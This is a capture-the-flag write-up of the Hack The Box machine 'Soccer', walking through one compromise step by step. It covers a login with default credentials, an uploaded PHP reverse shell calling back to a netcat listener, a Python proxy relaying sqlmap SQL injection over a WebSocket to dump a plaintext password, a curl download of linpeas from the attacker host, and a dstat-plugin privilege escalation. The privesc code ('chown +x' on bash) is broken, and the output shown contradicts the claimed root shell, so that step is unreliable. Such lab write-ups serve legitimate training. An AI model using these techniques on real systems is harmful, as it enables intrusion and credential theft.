Post

Hack The Box Write-Up Soccer - 10.10.11.194

Hack The Box Write-Up Soccer - 10.10.11.194

About Soccer

In this post, I’m writing a write-up for the machine Soccer from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Soccer is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.

Foothold

After the initial port scan, we discovered several open ports, including SSH on port 22/tcp and HTTP on port 80/tcp. The open port that caught my attention was an unknown service running on port 9091/tcp. After running ffuf against the hostname http://soccer.htb, we found the directory http://soccer.htb/tiny. Upon visiting this directory, we encountered the login page for the Tiny File Manager. Using the default admin credentials, we were able to log in. After some exploration, we found the directory tiny/uploads, where we could upload files. After preparing and uploading the php-reverse-shell.php, we successfully established a reverse shell as www-data to our attacker’s machine.

User

After manual enumeration, we found the subdomain soc-player.soccer.htb in the file /etc/nginx/sites-enabled/soc-player.htb. When we visit this subdomain on port 80/tcp, we see the same webpage as http://soccer.htb, but with some additional features. We now have the option to sign up for an account and log in. After creating a user account and log in, we notice that a ticket for a match is reserved for us. We also have the option to fill out a form to validate the ticket. Using Burp Suite, we can intercept this validation request and discover that it is actually a WebSocket. By conducting a man-in-the-middle attack with a custom Python script and sqlmap, we can identify an SQL injection vulnerability, read the soccer_db database, and obtain the credentials for the username [email protected]. This user account has permissions for an SSH session, and through this connection, we can access the user.txt flag.

Root

After uploading and running linpeas.sh, we discovered that doas is installed on this machine. By examining the configuration file for doas, we learned that we have the privileges to run dstat. We created a malicious plugin for doas containing a privilege escalation payload in the directory /usr/local/share/dstat. After loading this plugin and executing it with the dstat command, we obtained a shell as root, successfully taking control of the machine.

Machine Info

Machine Name: Soccer
Difficulty: Easy
Points: 20
Release Date: 17 Dec 2022
IP: 10.10.11.194
Creator: sau123

Reconnaissance

Portscan with Nmap

As always, we start this machine with a portscan with Nmap.

1
nmap -sC -sV -oA ./nmap/soccer 10.10.11.194

The results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-13 15:43 EST
Nmap scan report for 10.10.11.194
Host is up (0.055s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   drda, informix: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=1/13%Time=63C1C264%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.77 seconds

The results of the port scan show two open network ports. The first port is the default SSH port 22/tcp. The second port is the default HTTP port 80/tcp with the hostname http://soccer.htb. We have added this hostname to our /etc/hosts file. The third port is 9091/tcp. We do not know yet which service is using this port. We have to find this out along the way.

Enumeration

We first check the website by visiting http://soccer.htb with our favorite web browser.

Hack The Box Soccer website http://soccer.htb Hack The Box Soccer website http://soccer.htb

This website is a static website, without any useful information. Let’s do some directory brute forcing with ffuf.

1
2
┌──(root💀kali)-[/home/kali/htb/machines/soccer]
└─# ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://soccer.htb/FUZZ

The results

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://soccer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 27ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 47ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 37ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 48ms]
# Copyright 2007 James Fisher [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 57ms]
# on atleast 2 different hosts [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 70ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 70ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 76ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 79ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 92ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 94ms]
# Priority ordered case sensative list, where entries were found  [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 94ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 94ms]
#                       [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 85ms]
tiny                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 24ms]

We have found the directory http://soccer.htb/tiny. This page shows a login form.

Hack The Box Soccer Tiny File Manager Hack The Box Soccer Tiny File Manager

Intrusion

Access to Tiny File Manager

Tiny File Manager is an open-source project hosted on GitHub. On the GitHub page of this project, we can find the default username/password: admin/admin@123 and user/12345.

After login, we can see in the right-bottom corner that version 2.4.3 of Tiny File Manager is being used on this machine. This version of tiny file manager suffers from a Authenticated Remote Code Execution vulnerability, according to this page: https://febinj.medium.com/tiny-file-manager-authenticated-rce-ad768d49fa0.

Hack The Box Soccer Tiny File Manager 2.4.3 is being used Hack The Box Soccer Tiny File Manager 2.4.3 is being used

Reverse shell as www-data

First, I tried to use the publicly available exploit to get a shell on the machine. But, this exploit gives a ‘File Upload unsuccessful’ message. Eventually, we are getting a reverse shell by uploading the php-reverse-shell.php to the tiny/uploads directory. After opening this file, a reverse shell as www-data is established on our machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/Documents/htb/machines/soccer]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.194] 34294
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 14:48:56 up 28 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@soccer:/$

If we check the current user profiles, we can discover that the user player exists on this machine.

1
2
3
www-data@soccer:/$ ls /home
ls /home
player

Through manual enumeration, we can find that this machine is hosting a second website http://soc-player.soccer.htb/.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@soccer:/etc/nginx/sites-enabled$ ls
ls
default  soc-player.htb
www-data@soccer:/etc/nginx/sites-enabled$
www-data@soccer:/etc/nginx/sites-enabled$
www-data@soccer:/etc/nginx/sites-enabled$ cat soc-player.htb
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

After we have added this hostname to our /etc/hosts file, we can visit this website. This website has the functionality of creating a user account.

Hack The Box soc-player subdomain Hack The Box subdomain soc-player.soccer.htb

After creating a user account, we are landing in the following webpage.

Hack The Box Soccer Ticket website Hack The Box Soccer Ticket website

If we fill in our tikcet nuimber and intercept it with Burpsuite, we see that an websocket message is send. The message is send over port 9091/tcp. After intercepting this request with Burpsuite, we see that the WebSocket is running on this port.

Hack The Box Soccer Write-Up by T13nn3s WebSocket BurpSuite shows that the WebSocket connection is made

Exploitation

SQL Injection in WebSocket

The next step is looking for vulnerabilities. Let’s start testing for SQL Injection vulnerabilities. This is one of the most common vulnerabilities with WebSockets. It’s not possible to use sqlmap directly against WebSockets. We need to have a proxy that redirects the payload to the WebSocket running on the machine. After searching around on the internet, I found this post: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html. I copied the script and modified it a bit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

After executing this script, we can send the SQL injection payloads to http://localhost:8081.

1
2
3
4
┌──(sqlmap-websocket-proxy)─(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ python3 middleware.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*

Let’s start sqlmap, and point this tool to http://localhost:8081

1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs

It seems that this WebSocket is vulnerable to SQL Injection. We have found the database soccer_db.

1
2
3
4
5
6
7
8
9
10
11
mysql
[09:54:38] [INFO] retrieved: information_schema
[09:57:27] [INFO] retrieved: performance_schema
[10:00:10] [INFO] retrieved: sys
[10:00:39] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

Let’s enumerate this database further and retrieve all tables that hold this database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --tables
...
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 

1
[10:06:36] [INFO] retrieved: 
[10:06:46] [INFO] adjusting time delay to 2 seconds due to good response times
accounts
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+

Okay, the database soccer_db contains one table named accounts. The next step is to dump all the information from this table.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts --dump
...
[10:22:43] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

We can access SSH and read the user flag through an SSH session as the user player.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jun  7 14:26:56 UTC 2025

  System load:           0.0
  Usage of /:            70.7% of 3.84GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             233
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.194
  IPv6 address for eth0: dead:beef::250:56ff:fe94:6ddc


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ cat user.txt 
3bb7dbfddce0a2d62c77075f3196d968

Privilege Escalation

Enumeration

After downloading linpeas.sh to the machine, we can start enumerating.

1
2
3
4
5
6
7
8
9
10
11
12
player@soccer:/tmp$ curl 10.10.16.4:8000/linpeas.sh -o linpeas.sh                                                                                                                            
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                                                                                              
                                 Dload  Upload   Total   Spent    Left  Speed                                                                                                                
100  820k  100  820k    0     0   593k      0  0:00:01  0:00:01 --:--:--  592k
player@soccer:/tmp$ bash linpeas.sh
...
                     ╔════════════════════════════════════╗                                                                                                                                 
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                                                                                           
                      ╚════════════════════════════════════╝                                                                                                                                 
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwsr-xr-x 1 root root 42K Nov 17  2022 /usr/local/bin/doas   

From the output of linpeash.sh we can see that the software /usr/local/bin/doas is installed on this machine. doas is similar to the sudo command, and it executes arbitrary commands as another. First, we search for the doas.conf file.

1
2
player@soccer:~$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf

Creating malicious plugin

If we read this configuration file, we see that the user account player has the privileges to run /usr/bin/dstat as root without a password.

1
2
player@soccer:~$ cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat

The next step is to configure doas to use this configuration file at executing.

1
player@soccer:~$ doas -C /usr/local/etc/doas.conf

Next, we need to check the location of dstat to create a malicious plugin. dstat supports custom plugins, and since we have permission to run this software as root via doas without needing a password, we can achieve privilege escalation through this malicious plugin to create a reverse shell or spawn a shell as root.

1
2
3
4
player@soccer:~$ find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat

We now know that dstat is looking in the /usr/local/share/dstat. Create a plugin called dstat_privesc.py, with the following contents:

1
2
3
import os

os.system('chown +x /usr/bin/bash')

Own Soccer

The name of the plugin is determined by the suffix of the file name, e.g. dstat_<plugin_name>.py. Now let’s add our newly created plugin

1
2
player@soccer:/usr/local/share/dstat$ dstat --list | grep privesc
        privesc

The plugin is loaded. Let’s own this machine.

1
2
3
4
5
6
7
8
9
10
11
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --privesc
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
Module dstat_privesc failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ ls
dstat_privesc.py
player@soccer:/usr/local/share/dstat$ bash -p
bash-5.0# whoami
root
bash-5.0#

We have owned soccer from Hack The Box.

1
bash-5.0# cat /root/root.txt

Although this machine was released a couple of years ago, I had fun rooting this machine and learned - as always - new stuff.

Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it like me? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!

Happy Hacking :-)

This post is licensed under CC BY 4.0 by the author.